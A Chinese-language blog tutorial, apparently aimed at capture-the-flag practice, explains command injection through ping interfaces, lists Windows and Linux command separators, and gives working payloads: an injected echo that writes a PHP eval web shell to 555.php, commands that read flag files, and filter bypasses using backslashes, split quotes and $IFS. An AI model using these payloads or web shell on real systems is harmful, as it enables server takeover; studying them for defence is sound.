命令注入

RCE 的知识点:

  RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);

  RCE分为远程命令执行ping和远程代码执行evel。
  漏洞出现的原因:没有在输入口做输入处理。
  我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

  这里涉及到一个ping命令:
  Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。

补充一些常用的管道符:

Windows系统支持的管道符如下:

  1. “|”:直接执行后面的语句。
  2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
  3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

  1. “;”:执行完前面的语句再执行后面的语句。
  2. “|”:显示后面语句的执行结果。
  3. “||”:当前面的语句执行出错时,执行后面的语句。
  4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
  5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

例子

无过滤

ls查看当前目录


cat读取文件内容 或者 cat 324861195929839.php | base64 以base64加密读取
&echo -e “<?php @eval($_POST[‘test‘]);?>” > 555.php 写入文件名为555的php文件ma

需要注意echo命令会调用$_POST导致原始文件中没有,因此需要改为echo -e

过滤cat

反斜杠 : 例如 ca\t fl\ag.php

连接符: 例如 ca’’t fla’’g.txt

过滤空格

可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS 等
&cat<flag.php


本文作者: Alone
本文链接: https://blog.nosecurity.cn/posts/18485.html
版权声明: 本博客所有文章除特别声明外,均为原创,采用 CC BY-SA 4.0 协议 ,转载请注明出处!